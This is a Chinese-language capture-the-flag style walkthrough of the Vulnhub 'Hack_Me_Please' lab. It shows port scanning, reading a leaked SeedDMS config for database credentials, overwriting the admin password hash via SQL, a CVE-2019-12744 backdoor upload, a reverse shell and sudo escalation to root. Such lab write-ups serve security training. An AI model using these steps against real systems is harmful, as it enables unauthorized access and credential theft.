Vulnhub靶机测试 NO.28 Hack_Me_Please js发现目录,/conf/settings.xml发现根目录和数据库密码 CVE-2019-12744,sudo提权

Vulnhub 靶场练习 NO.28 Hack_Me_Please

1. 靶机介绍

1.1. 下载地址

https://download.vulnhub.com/hackmeplease/Hack_Me_Please.rar

1.2. 靶机描述

Difficulty: Easy
Description: An easy box totally made for OSCP. No bruteforce is required.
Aim: To get root shell

1.3. 环境搭建

virtual box 启动 选择仅主机网络
kali也配置同网卡

2. 测试过程

2.1. nmap探测ip

已知目标网段为192.168.56.0/24
可以用 nmap -sP 或者netdiscover探测
在这里插入图片描述

已知目标靶机在virtual box 上搭建
所以ip 应该为 192.168.56.102或者 192.168.56.117
56.102为dhcp服务器用于分配ip 所以靶机ip为56.117

2.2. nmap探测端口服务

nmap -sC -sV -A -p- -o port.txt 192.168.56.117

# Nmap 7.91 scan initiated Thu Mar 10 15:41:20 2022 as: nmap -sC -sV -A -p- -o port.txt 192.168.56.117
Nmap scan report for 192.168.56.117
Host is up (0.00050s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Welcome to the land of pwnland
3306/tcp  open  mysql   MySQL 8.0.25-0ubuntu0.20.04.1
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.25-0ubuntu0.20.04.1
|   Thread ID: 39
|   Capabilities flags: 65535
|   Some Capabilities: Support41Auth, ConnectWithDatabase, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, SupportsTransactions, SwitchToSSLAfterHandshake, IgnoreSigpipes, Speaks41ProtocolNew, InteractiveClient, IgnoreSpaceBeforeParenthesis, FoundRows, ODBCClient, LongPassword, SupportsLoadDataLocal, LongColumnFlag, SupportsCompression, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: gr>\x13\x05=h\x0D\x11/O%Q\x06^K\x16   \x0Eh
|_  Auth Plugin Name: caching_sha2_password
| ssl-cert: Subject: commonName=MySQL_Server_8.0.25_Auto_Generated_Server_Certificate
| Not valid before: 2021-07-03T00:33:15
|_Not valid after:  2031-07-01T00:33:15
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|     HY000
|   LDAPBindReq: 
|     *Parse error unserializing protobuf message"
|     HY000
|   oracle-tns: 
|     Invalid message-frame."
|_    HY000
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.91%I=7%D=3/10%Time=6229ABAD%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\
SF:x08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20me
SF:ssage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAN
SF:Desk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\
SF:0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRP
SF:C,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x
SF:0fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid
SF:\x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10
SF:\x88'\x1a\x0fInvalid\x20message\"\x05HY000");
MAC Address: 08:00:27:00:52:27 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.50 ms 192.168.56.117

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 10 15:41:41 2022 -- 1 IP address (1 host up) scanned in 21.46 seconds

开放端口情况:
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
3306/tcp open mysql MySQL 8.0.25-0ubuntu0.20.04.1
33060/tcp open mysqlx?

设备系统情况:
MAC Address: 08:00:27:00:52:27 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop

2.3. 测试思路:

2.3.1. 80端口

主页功能点测试,源码审查信息(关注js),目录扫描 目录功能点测试

2.3.2. 3306端口

mysql弱口令爆破,寻找到可能为账号密码时 登录测试

2.3.3. 33060端口

MySQL X plugin是MySQL新发版本5.7.12中新增的插件,利用它实现MySQL作为文件存储数据库,也就是利用MySQL 5.7版本json支持的特性完成。

2.4. 浏览网站

在这里插入图片描述

点击后发现首页没有功能点

2.5. 目录扫描

gobuster dir -u http://192.168.56.117/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php
目录扫描的同时 进行2.5. 步骤去看看源码中 有没有路径泄露
在这里插入图片描述

2.6. 审查源码

在这里插入图片描述

发现三处/js目录下的js文件

2.7. 审查js文件

2.7.1 审查main.js

在这里插入图片描述

发现一处目录
/seeddms51x/seeddms-5.1.22/
在这里插入图片描述

2.8. seeddms信息收集

一个文档管理系统 版本可能为5.1.22

2.8.1. 搜索公开漏洞

在这里插入图片描述

有5个
看起来存在漏洞的版本都在5.1.22之下,该seeddms可能没有漏洞 但还是试试。
查看后漏洞介绍后发现,两个rce 都需要登录后才能利用。
需要先找密码,还是换种思路吧
找源码或者扫目录 看看文件

2.8.2. 寻找源码
https://sourceforge.net/projects/seeddms/files/

在该处可下载源码
或者百度搜索 seeddms 搭建、配置 之类的 看看别人写的下载地址,和配置文件 其中可能就有敏感信息

2.9. 审查源码文件

在这里插入图片描述

通过 百度 seeddms 快速搭建,搜索到 该配置文件中含有 网站绝对路径 及数据库信息

2.10. 查看目标配置文件

http://192.168.56.117/seeddms51x/conf/settings.xml

在这里插入图片描述
网站绝对路径 /var/www/html/seeddms51x/seeddms-5.1.22/

在这里插入图片描述
数据库账号密码
dbDatabase=“seeddms” dbUser=“seeddms” dbPass=“seeddms”

2.11. 远程连接mysql

注意需要用8.0版本mysql
在这里插入图片描述

mysql  -h 192.168.56.117  -useeddms -pseeddms -Dseeddms

在这里插入图片描述
登录成功

2.11.1. mysqlgetshell(失败)

在这里插入图片描述

只能写入在/var/lib/mysql-files/ 无法将马写入网站目录下
只能通过登录网站后台寻找漏洞getshell啦

2.11.2. 查找网站密码

在seeddms库的tblUsers 表中
在这里插入图片描述
admin f9ef2c539bad8a6d2f3432b6d49ab51a

2.11.3. md5解密

在这里插入图片描述
解密失败

2.11.4. update密码字段

密码无法解密成功,为了getshell 只好直接修改数据库密码的值用于登录了
在这里插入图片描述
update tblUsers SET pwd=‘e10adc3949ba59abbe56e057f20f883e’ where login=‘admin’;
在这里插入图片描述

2.11.5. 登录网站后台

通过admin 123456进入后台成功
在这里插入图片描述

2.12. CVE-2019-12744

2.12.1. 查看漏洞利用方法

在这里插入图片描述

  1. 后台添加文档
  2. 选择后门
  3. 上传记住文档编号
  4. 访问
2.12.2. 漏洞利用

在这里插入图片描述
注意测试后发现名称要和上传文件名一样
在这里插入图片描述
可在文档信息处发现 序号为8
在这里插入图片描述

后门执行命令成功

2.12.3. 反弹shell

kali监听7777端口
将反弹shell命令进行url编码 用post请求提交
在这里插入图片描述

2.13. 切换完整shell

  1. python3 -c ‘import pty;pty.spawn("/bin/bash")’
  2. export TERM=xterm 然后 Ctrl+Z 退出来一下
  3. stty raw -echo;fg 回车后输入 reset 再回车
  4. stty rows 46 columns 188

这样子shell 就有自动补全等功能了
在这里插入图片描述

2.14. 提权

2.14.1. 账号收集

cat /etc/passwd
在这里插入图片描述

想办法提权到saket用户
而saket 账号之前 在数据库中就见过
在这里插入图片描述
Saket@#$1337

2.14.2. su saket 切换账号

尝试登录 saket
Saket@#$1337
在这里插入图片描述
登录成功,顺便查看id命令
可以看到saket存在于很多用户组中
应该会有sudo权限 查看一下

2.14.3. sudo -l 查看该账号的权限

在这里插入图片描述

发现saket用户 能够以sudo 执行命令 需要密码
(sudo所执行的执行是root亲自执行的)
我们就可以用sudo su root 切换为root用户

2.14.4. sudo su root 切换为root权限

sudo su root -l 切换为root权限 -l参数表示跳转到切换后的用户 工作目录下
在这里插入图片描述

3. 总结

  1. 通过namp 扫出 80 和3306端口,只能从这两个端口入手。
  2. 80端口通过源码中的js文件,发现一处seeddms目录。
  3. 通过百度及下载源码搜索到seeddms的配置文件在/conf/settings.xml 发现数据库账号密码。
  4. 远程连接数据库,获取到后台登录账号密码。
  5. 通过已知seeddms,CVE后台漏洞 上传后门getshell。
  6. su saket 通过数据库中看到的可能为密码信息,登录成功,提权saket用户。
  7. sudo -l 发现saket可以执行sudo命令需要输入saket密码即可,提权至root。
  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值